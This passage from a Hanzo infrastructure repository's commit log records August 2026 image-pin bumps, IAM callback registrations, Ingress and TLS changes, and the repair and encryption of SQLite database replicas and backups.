hanzo-ci 5912b5e4e2 hanzo-app v1.42.325 -> v1.42.326
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 13s
CI / manifests (push) Canceled after 30s
ghcr.io/hanzoai/app:v1.42.326
sha256:8c6e0259e022f8997dd6bd6675ec3bca53cefa23d09f9bab54c980a93cad8f34

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32248
2026-08-05 22:12:17 +00:00
hanzo-ci 34ff207d88 hanzo-app v1.42.324 -> v1.42.325
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 14s
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 7s
ghcr.io/hanzoai/app:v1.42.325
sha256:9a8161c0c7c1cb4e247e263611ac6321a5db657b412cdbd259007c9e3699b6ab

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32212
2026-08-05 22:03:22 +00:00
hanzo-dev 8dd06e36d2 iam: the cloud client answers on tracker.hanzo.ai and meet.hanzo.ai
CI / manifests (push) Failing after 14s
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 7s
Both SPAs sign in through the hanzo-cloud client and return to a callback under
their own base path — /tracker/callback and /meet/callback, baked into each
built bundle and into the PKCE request it sends. Neither is /auth/callback, so
neither can be derived from `hosts:`; they are literal `redirects:`.

Measured on the live IdP first: authorize with either URI answers 400, the same
answer an unregistered URI gets, while console.hanzo.ai/auth/callback answers
302. The same probe found https://social.hanzo.ai/auth/callback — sitting in
init_data.json — also answering 400, which is the difference between the two
files stated plainly: init_data seeds a FRESH database, provision converges the
LIVE one. A redirect URI added to init_data.json for an IdP that already exists
reaches nothing.

Landed ALONE, ahead of any routing change and ahead of the binary that serves
these hosts. Registering a callback grants nothing by itself — no host resolves
to cloud yet — but a host flipped before its callback is registered serves the
app and then fails sign-in at the door.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:02:17 -07:00
hanzo-ci 44a42932a7 insights-worker 1.52.68 -> 1.52.78
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 18s
ghcr.io/hanzoai/insights:1.52.78
sha256:0fe05abbeb9132f5d11cc2056e41947324435f92c14a5d1fefa6bd35ccc8439a

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32159
2026-08-05 21:53:27 +00:00
hanzo-ci b71de9552a insights-web 1.52.68 -> 1.52.78
ghcr.io/hanzoai/insights:1.52.78
sha256:0fe05abbeb9132f5d11cc2056e41947324435f92c14a5d1fefa6bd35ccc8439a

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32159
2026-08-05 21:53:27 +00:00
hanzo-ci a069566eec insights-plugin 0.1.6 -> 0.1.7
CI / integrity (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 9s
CI / guards (push) Failing after 13s
CI / manifests (push) Failing after 14s
Charts / publish (push) Successful in 17s
ghcr.io/hanzoai/insights-plugin:0.1.7
sha256:fcfd918b91b219d173867d87481a1cb7bff9c1c057ce6ce073a2483cf70ab5fc

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32161
2026-08-05 21:44:36 +00:00
hanzo-ci 29773f2c4d insights-livestream 1.0.0 -> 1.0.1
Charts / publish (push) Successful in 13s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 20s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 9s
ghcr.io/hanzoai/insights-livestream:1.0.1
sha256:64aeb0c4198b12623dc63caaaee28369664660f1f1067d03a78b496fa8d08ee5

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32160
2026-08-05 21:41:08 +00:00
hanzo-ciandhanzo-dev 7ebc43de8c www 0.1.13 -> 0.1.14
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 6s
Charts / publish (push) Successful in 20s
Mirror to GitHub / publish (push) Failing after 27s
CI / manifests (push) Failing after 40s
ghcr.io/hanzoai/cloud-www:0.1.14
sha256:ba48c0c2a7130924089a43e27d36b47601d6248ded808e46a38fc3bb469ff3c2

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 14:35:06 -07:00
hanzo-dev 47ecf8c65b merge origin/main into the insights-plugin/studio pin
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 15s
Charts / publish (push) Successful in 17s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 14:26:40 -07:00
hanzo-dev 435460cce4 insights-plugin 0.1.4 -> 0.1.6, and studio says who its events belong to
Two deploys that were built and merged but never became real.

insights-plugin 0.1.6 is insights e89a5b62a3b — org-derived project, token
path deleted. It has been in GHCR since 20:43Z while production served
0.1.4 from 08-03, because plugin.yml's `Ship it` step reads the pin token
from /v1/kms/orgs/<org>/secrets/..., which the embedded KMS does not serve.
curl -fsS exits 22 on that 404 under set -e, so the step died before its own
"missing token" guard could name the problem: two releases pinned nothing
and said only "curl: (22)". Pinned by digest because both forge mirrors
pushed tag 0.1.6 a minute apart with different bytes.

studio gets EVENT_INGEST_KEY. The image already knows how to use it —
_publishable() stamps window.HZ.pk from it, behind a pk- allowlist — but the
variable was unset, so the branch that runs is the one whose comment says
events go unattributed. Measured: zero pk- tokens in every root studio
serves. Runtime-read, so the pinned image is unchanged.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 14:26:40 -07:00
hanzo-dev fa3924b110 insights: serve insights.hanzo.ai from a declared Ingress
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 14s
insights.hanzo.ai reached insights-web only through the priority:1
insights-hanzo-ai-web router in the Traefik file provider, so the host had no
declaration in the chart that owns the rest of the service. Enable the chart
ingress on the host instead: same backend (insights-web:8000), rendered by the
shared template, with an exact-SNI cert from letsencrypt-prod.

The rendered rule outranks the superseded file-provider router by rule length
and stays under the priority:150 cloud-ingest carve-out, so /e, /batch,
/capture and /v1/e still divert to /v1/event.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 14:18:27 -07:00
hanzo-dev 880c9a8f57 console: console.dev.hanzo.ai — the env is a label, not a compound
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 13s
<service>.<env>.hanzo.ai, so *.dev is devnet, *.test is testnet and *.main is
mainnet. Every service in an environment sorts under it (api.dev,
console.dev, ...) and no name has to spell out "devnet". dev.hanzo.ai was
mine and was wrong the other way: it named the environment and dropped the
service.

TLS arrives with the declaration, which is worth knowing before the next host
is added: cert-manager is NOT installed here -- the Certificate objects in
infra/k8s/ingress/wildcard-certs.yaml are inert, the API has no such resource
type -- so Traefik's own ACME issues per host, which is why
api.devnet.hanzo.ai holds a cert whose CN is exactly itself. The one wildcard
that exists, *.hanzo.ai, does not cover a two-label name: this host failed TLS
outright until it was declared.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 13:02:20 -07:00
hanzo-dev c372b3a373 git-runner 0.6.1-hanzo.d0a9bc7 -> 0.6.1-hanzo.f6522cd: booleans are booleans
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 13s
The runner resolved every type:boolean workflow_call input to false —
explicitly passed true included — which is how 38 green runs in 16
repos published nothing and cloud's gates never once executed. The
reusable workflows were fixed to strings hours ago; this rolls the
runner fix itself, which also covers the ~1,400 mirrored repos whose
workflows we do not control. Grace 1860s lets in-flight jobs finish;
the queue is idle at roll time.
2026-08-05 09:53:44 -07:00
hanzo-dev 1407f3b976 cloud v1.801.475 — the surface is typed, and it says why when it is not
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 14s
Carries the typed sweep: platform 32/32, billing and affiliates 24, the
tail 16 with notify's sends typed at last, commerce's probe, and every
surviving raw door naming its reason in place. Availability now records
into the framework's own registry beside the old meter path. Every typed
op projects to REST, OpenAPI, MCP and native ZAP by construction.
2026-08-05 09:33:37 -07:00
hanzo-dev db3ab6f9cb iam: the provisioner had fallen behind its own document
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 11s
A stale pin here does not degrade gracefully — it refuses everything. The Job
ran ghcr.io/hanzoai/iam:sha-ba43c54 while the live server runs v1.34.17 and
provision.yaml had gained `owner:` (5c6990c4b). The provisioner parses
STRICTLY, so that one unknown field made `iam provision` reject the whole
document — `parse: [99:5] unknown field "owner"` — and converge nothing. Every
edit to provision.yaml since has silently reached the live IdP not at all, which
is exactly the failure this file's own comment warns about and then fell into.

Pinned to v1.34.17, the build the server runs. Converged: 15 apps, 0 failed, and
verified live with a control — commerce.hanzo.ai/admin/callback now 302s,
evil.example.com/pwn still 400s, so the allowlist is honouring the new URI
without having gone permissive.
2026-08-05 09:32:35 -07:00
hanzo-dev 2a62e98c52 iam: the commerce admin can sign in
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
commerce.hanzo.ai could not sign anyone in. Driving it gives client_id=
hanzo-commerce, redirect_uri=https://commerce.hanzo.ai/admin/callback, PKCE S256
-> 400 invalid redirect_uri. The live client, seeded from init_data.json, lists
only /callback and localhost:8090/callback.

The allowlist is genuinely enforced rather than failing open: a bogus
https://evil.example.com/pwn control 400s identically. So this was a total
sign-in outage on that surface, not a bad secret.

The path carries /admin because the app is MOUNTED there — the export is built
with Next basePath: '/admin', so every route it owns, its callback included,
lives under that prefix. A bare /callback is a path the app does not serve.

Declared in provision.yaml rather than init_data.json, which only seeds on boot
with newOnly=true: an app already present is never revised there, so a redirect
added to that file would have reached nothing.
2026-08-05 09:30:17 -07:00
hanzo-dev 0d5ea399b1 hanzo-app-base: the migrate init carries the app's env
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 13s
The binary registers the platform plugin before cobra dispatches, so
even  panics without IAM_ENDPOINT. One anchor, one list.
2026-08-05 09:20:49 -07:00
hanzo-dev 8dd43462de hanzo-app-base: the serving process stops migrating
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 14s
CI / manifests (push) Failing after 15s
Migrations run in a migrate init container — after restore, before
serve — with no image key, so the chart's inheritance rule pins it to
the app's own build and the runner can never drift from the binary that
serves the result. serve drops --automigrate: a bad migration now fails
the pod at Init, named, and the app never serves a half-applied schema.
The 0.39.16 recursion ran inside the serving process's boot automigrate;
this is the structural end of that class.
2026-08-05 09:17:28 -07:00
hanzo-ci e26681f311 billing b577e7963a3b09e790edc445f881770e74fef07c-amd64-billing -> 1.0.15
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 14s
ghcr.io/hanzoai/billing:1.0.15
sha256:d6d8107c255fb377f1c25494fd4a40caf12066149e10f1ca659e9d11f13c0709

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 08:27:33 -07:00
hanzo-dev fdc15a1b23 commerce-admin: current main, on the static server that frames HTML correctly
Charts / publish (push) Successful in 18s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 20s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 12s
2026-08-05 08:17:26 -07:00
zeekayandhanzo-dev 3e946cfcdc kms.lux.cloud is the brand host; kms.lux.network is retired
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 7s
CI / manifests (push) Failing after 13s
Mirror to GitHub / publish (push) Failing after 8s
E2E / cli (push) Successful in 2m58s
E2E / browser (push) Failing after 1h0m6s
The .network host was retired 2026-07-27 and no longer resolves at all (a
request to it now returns nothing, not an error), so every reference to it named
an address that cannot answer. The brand host is .cloud, matching kms.zoo.cloud
and the rest of the white-label convention.

Left alone deliberately, because rewriting them would invert what they say:
the LLM.md line that RECORDS the retirement, the e2e spec that ASSERTS
kms.lux.network must not resolve, and the recorded applies + cluster backups,
which are faithful accounts of what was applied and are not config.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 08:13:06 -07:00
hanzo-dev 190739880f revert commerce-admin to 0.0.1 — the new image serves index.html.gz mislabelled
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 8s
Charts / publish (push) Successful in 15s
CI / manifests (push) Failing after 13s
Mirror to GitHub / publish (push) Failing after 12s
Rolling back a break I shipped. The image built from current main serves the
export's PRE-COMPRESSED index.html.gz as a file: content-type application/x-gzip,
no content-encoding: gzip, and x-content-type-options: nosniff already set — so a
browser is handed what it reads as a gzip download and refuses to render it. The
body is correct (it decodes to the new admin); the framing is not.

0.0.1 is stale but renders. The pin follows main again once the static layer
either stops emitting .gz siblings or serves them with content-encoding.
2026-08-05 08:12:48 -07:00
hanzo-dev 69b75c9446 commerce-admin: follow main instead of a March image
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 13s
CI / manifests (push) Failing after 14s
2026-08-05 08:09:43 -07:00
hanzo-dev 6e5cd04dd1 cloud v1.801.466 — restore the newer release my bump regressed
CI / guards (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 14s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
The ship script replaced whatever tag the CR held, and the CR held a newer
release than the one my watcher was gating on — another lane had already
shipped past it. v1.801.466 contains the console 8.5.50 pin commit and
everything after it, so forward is simply the tag that was already there.
2026-08-05 07:45:38 -07:00
hanzo-dev bf53964d8e backup: hanzo-app-base joins the table it was missing from
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 12s
The doc said hanzo-app does not replicate, conflating the volumeless web
workload with its Base data plane. The Base replicates now (cf839494b):
sync green, objects sealed, restore proven with -o inside the sidecar,
and the two plaintext snapshots the old sidecar left are quarantined.
2026-08-05 07:42:55 -07:00
hanzo-dev 776e3f4049 cloud v1.801.462 — the assistant sends its credential
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 13s
CI / manifests (push) Failing after 12s
Carries console 8.5.50: the assistant's streamed completion rides the
client's one authorized door instead of a bare fetch, preferences live on
cloud's /v1/prefs, a 401 with a live token stops claiming the session
expired, and exactly one composer mounts per viewport.
2026-08-05 07:41:53 -07:00
hanzo-ci 03564e57b7 chat 1.0.83 -> 1.0.84
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Canceled after 13s
ghcr.io/hanzoai/chat:1.0.84
sha256:fc75ed6d0626e9a0ff90420dfeabc1e12faf5b6b97698ab9c38b5bbaa4ffb645

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 07:41:37 -07:00
hanzo-dev cf839494b6 hanzo-app-base: the third database gets what the first two got
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 14s
chat and dataroom replicate; the Base behind hanzo.app did not — no
sidecar, no restore, a Retain policy standing in for a backup. Same
shape as the other two: WAL to SeaweedFS (bucket hanzo-app-db, prefix
hanzo-app/app), age-encrypted client-side, restore-if-absent on boot,
v0.9.10 so Base rewriting the file cannot starve the bookkeeping.
Only data.db — auxiliary.db is the log store, derivable by design.
The age keypair is the one provisioned 2026-07-22 and never connected;
nothing was ever sealed to it, so it is reused, not rotated.
2026-08-05 07:21:34 -07:00
hanzo-dev 9b0a937a05 dataroom: record what the repair actually proved, in the order it proved it
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 12s
The sequence is the load-bearing part. An encrypted lineage had to exist and
had to restore clean BEFORE the surviving plaintext was touched, because until
that moment the plaintext was the only restorable copy dataroom had -- frozen
at txid 0x20 since 2026-08-02. Moved, not deleted; sizes verified before each
source was removed; restore re-run afterwards against the encrypted-only
lineage and passed again.

Also states the thing that would otherwise be read wrong: 65 tables, zero rows
in every business table. dataroom is deployed and unused. The backup is now
correct and there is nothing in it.
2026-08-05 06:54:10 -07:00
hanzo-ci 518c739b7d id 0.2.26 -> 0.2.32
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 13s
ghcr.io/hanzoai/id:0.2.32
sha256:4c06b69e3cfad0b9cb74ed0c425d97519e4412355b7791a1a5c19124d6dc3e17

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 06:49:55 -07:00
hanzo-dev cc417c1a39 app-base: re-declare the migrations ConfigMap the revert orphaned
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 12s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 14s
af64aeb5b reverted the collections declaration mid-incident on the theory
that mounting these files crash-looped the pod. It did not. 0.39.16 recursed
in core.(*Collection).UnmarshalJSON on ANY unapplied migration, because
`type alias *Collection` is a defined POINTER alias and jsonv2 resolves the
element's UnmarshalJSON through it and re-enters forever.

The revert deleted only the DECLARATION. prune is false, so the ConfigMap
stayed, the Deployment went on mounting an object no repo owned, and the
collections were applied anyway by the 0.39.11 rollback pod. That left the
app one `kubectl delete cm` away from a pod that cannot start, and the
Application permanently OutOfSync on the one resource nothing declared.

Restored verbatim on 0.39.17: both files hash identically to what is already
in the cluster (projects a66d49e44a6f, images a8622b86e270), and both are
already recorded in _migrations, so --automigrate is a no-op for them. The
pod rolls once to pick up the checksum annotation.

Measured on prod bytes under GOEXPERIMENT=jsonv2 — same data, same unapplied
migration: 0.39.16 exits 2 with "fatal error: stack overflow", 0.39.17
applies it and serves.
2026-08-05 06:49:33 -07:00
hanzo-dev 62961f6412 dataroom: the replica writes again, and writes ciphertext
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 15s
Two faults, one dead backup. Both are recorded in the file because both recur.

1. The sidecar had failed every checkpoint for three days -- 777 of them --
   on "reacquire read lock: no such table: _replicate_seq", while the pod read
   2/2 Running. replicate keeps two bookkeeping tables in the file it guards
   and, up to 0.9.9, created them once in init(). dataroom boots
   `prisma db push --accept-data-loss`, which reconciles the whole file against
   the app's schema and drops every table that schema does not declare. It
   announced it in its own boot log, one second after the sidecar created them:

     You are about to drop the `_replicate_seq` table, which is not empty (1 rows)

   Whichever container finishes last wins, and they start together, so this was
   a restart away the whole time. Fixed in replicate 0.9.10 at the layer that
   owns the invariant: the schema is asserted on every read-lock acquisition
   instead of once at boot. Fixing dataroom's CMD would have fixed one caller
   -- drizzle-kit push and atlas drop unknown tables too, and no app will ever
   declare a table it does not know about.

2. There was no age block, so all five objects in the bucket are plaintext LTX,
   including the L9 full-database snapshot. The keypair is now supplied from
   KMS and every new object is sealed. The existing plaintext stays where it is
   until 0.9.10 has written a full encrypted lineage AND that lineage has been
   restored and integrity-checked -- right now it is the only restorable copy
   dataroom has, frozen at txid 0x20 on 2026-08-02.

The config itself moves into universe. It had existed ONLY in the cluster,
applied by hand, which is precisely the condition that lets a second config for
the same prefix exist -- the failure this repo just cleaned up three times over.

chat.yaml's fleet note is corrected while here: it said dataroom and hanzo-app
both replicate without age. dataroom did and no longer does; hanzo-app does not
replicate at all -- no sidecar, no config, no mounted volume -- so nothing there
was ever going to fail closed. Its bucket holds two plaintext snapshots from
2026-07-29, left behind when its sidecar was removed. And the runbook that
comment says "still reads" now actually exists.
2026-08-05 06:47:08 -07:00
hanzo-dev 888145ccd4 o11y: the replica alarm had a blind spot the exact shape of dataroom
ChatReplicaSyncFailing matched `body CONTAINS 'monitor error'`. dataroom's
sidecar logged "sync error" 777 times over three days with a dead replica, so
the one rule written to catch a silent replica could never have fired for it.

They are different loops, not synonyms: "monitor error" is replica.go's replica
monitor, "sync error" is db.go's per-database sync monitor. A failure that
wedges the database's own sync -- which is what a dropped bookkeeping table
does -- only ever produces the second. The filter now matches both.

Renamed off "Chat" while here. The rule was never chat-specific: it filters on
the container name and groups by namespace and service, so it covers every
replicate sidecar in the estate, and a page reading ChatReplicaSyncFailing for
a dataroom outage is a rule lying about its own scope. Free to rename because
nothing is deployed to orphan -- apply.sh matches on .alert, and there is no
o11y admin token anywhere in KMS, so this directory has never been applied.

Which is the thing to fix next, and it is bigger than this file: the rule still
does not exist in production. It is JSON in git that nothing reconciles.
`./apply.sh` needs O11Y_TOKEN and is run by hand or not at all -- and "not at
all" is the state that let dataroom go quiet for three days. Validated here
(`./apply.sh --check`: 19 rules, 3 channels, ok) which is as far as this commit
can get on its own.
2026-08-05 06:40:23 -07:00
hanzo-dev 8ad54be4e9 backup: document the replica, and delete the configs that leaked it
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 11s
The DR doc described three layers and stopped. The fourth -- continuous WAL
replication to SeaweedFS, which is the ONLY recovery path chat and dataroom
have -- was invisible here, so a responder reading this file would not have
known it existed. Worse, the SQLite quick-reference told them to `.restore`
chat from a logical dump that no CronJob produces.

The recovery procedure is now stated, and it is one procedure: the service's
OWN replicate config, with `-o` redirecting the output. Never a second config.
A config carries the age block as well as the bucket, and a second one written
to "just restore something" reliably omits it, because the author is reading,
not writing. replicate resolves one config for both, so that pod writes
plaintext to the live prefix the moment it compacts. recover-config,
recover-config-chat and recover-config-hanzo-app were exactly that, and the
chat one left two unencrypted full-database snapshots holding Balance and
Transaction rows under chat/app/0009/. All three are deleted from the cluster;
nothing referenced them (checked every deployment, statefulset, daemonset, job,
cronjob and pod in every namespace).

Verified before writing it down: restoring chat's encrypted replica to a
scratch path passes `-integrity-check full` and yields 28 users, 13 balances,
358 transactions, 350 messages.

Also corrects a claim this file has been making while it was false. It says
every critical PV is Retain; chat-app-db, dataroom-app-db and hanzo-app-app-db
were all Delete -- three PVs created 2026-07-29, after the patch pass that
this table records, so it never reached them. Chat's is the file holding the
money tables, one PVC delete from gone. All three are patched back to Retain,
and the table now says out loud that it drifts and how to re-audit it.
2026-08-05 06:36:47 -07:00
hanzo-ci 6b1da289b3 hanzo-app-base 0.39.11 -> 0.39.17
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 9s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 14s
ghcr.io/hanzoai/base:0.39.17
sha256:8d05b245c4d290d1f7d5bb0d1b188376513097d896abc0ce9330f47406864b11

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 06:32:51 -07:00
hanzo-dev 14635428f1 dataroom: give the replica an age key, before it needs one
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 13s
dataroom's replicate sidecar has no age block, so every object under
s3://dataroom-db/dataroom/app is plaintext LTX -- all five of them read
`LTX1` in the clear, including the L9 full-database snapshot.

The keypair to fix that has been sitting in the cluster for 31 days as a
hand-made Secret named dataroom-replicate-age, provisioned and never
connected to anything. It is reused rather than rotated: it round-trips
under luxfi/age v1.6.0, the library replicate actually links, and nothing
has ever been sealed to it, so a rotation buys nothing and puts a second
keypair in flight. What it lacked was a home -- it is now in KMS at
hanzo/dataroom/{AGE_IDENTITY,AGE_RECIPIENT}@prod, and this sync is what
makes KMS the source of truth rather than a Secret somebody typed once.

This lands ALONE, ahead of the config that consumes it. From 0.9.9 on
RequireEncryption defaults true: a sidecar that resolves an empty identity
refuses to start rather than quietly writing cleartext. That is the correct
behaviour and it means the key must be present first, not in the same sync.
2026-08-05 06:31:04 -07:00
hanzo-ci aa331cf533 chat 1.0.81 -> 1.0.83
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 12s
CI / manifests (push) Failing after 14s
ghcr.io/hanzoai/chat:1.0.83
sha256:899913aace2c9ce4b731fec8c32384603caa62c24271fd3f2e7d4478a76db5dd

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 06:16:26 -07:00
hanzo-ci 5e507f614d hanzo-app v1.42.323 -> v1.42.324
CI / guards (push) Failing after 5s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 13s
CI / manifests (push) Failing after 11s
ghcr.io/hanzoai/app:v1.42.324
sha256:04452094b2e2ecb0aeefab2f39bb5fd8a4092bb06fa71a7a8ec53fb00c870ce3

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 30494
2026-08-05 12:58:01 +00:00
hanzo-ci 93e04c0399 hanzo-app v1.42.323 -> v1.42.323
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 15s
Mirror to GitHub / publish (push) Failing after 7s
ghcr.io/hanzoai/app:v1.42.323
sha256:9359a72dad0f571a8a769e2c84dc4515b90fb60ef9095e584d919b378d141ca1

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 30444
2026-08-05 12:50:41 +00:00
hanzo-ci 5a0b19e578 hanzo-app v1.42.322 -> v1.42.323
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 14s
CI / manifests (push) Failing after 13s
ghcr.io/hanzoai/app:v1.42.323
sha256:d33f6dc5e9d745fc0ff0c6409c8af7bb32bacf5f7bc4a437a4f46b3becc842bd

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 30448
2026-08-05 12:49:32 +00:00
hanzo-ci 4b672ceb8c hanzo-app v1.42.321 -> v1.42.322
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
Charts / publish (push) Successful in 12s
CI / manifests (push) Failing after 20s
ghcr.io/hanzoai/app:v1.42.322
sha256:ef8b81acf7b8c0f1409cae7cf59c8463bff02c973be11ddf24924a5b364943b4

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 30405
2026-08-05 12:38:06 +00:00
hanzo-dev 682d41ebe2 chat: record what the fix actually did, in the past tense it earned
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 16s
0.9.9 is running and the replica is green: txid.replica tracks txid.db at 0xd7f,
zero errors, and every object it writes opens "age-encryption.org/v1" instead of
LTX1. Restoring that lineage to a scratch path reproduces the live database
exactly -- integrity ok, 35/35 tables, User/Message/Conversation/Balance/
Transaction/Session all equal. The live chat.db was never opened for write.

The two plaintext snapshots are moved, not deleted, to chat/.quarantine/0009/
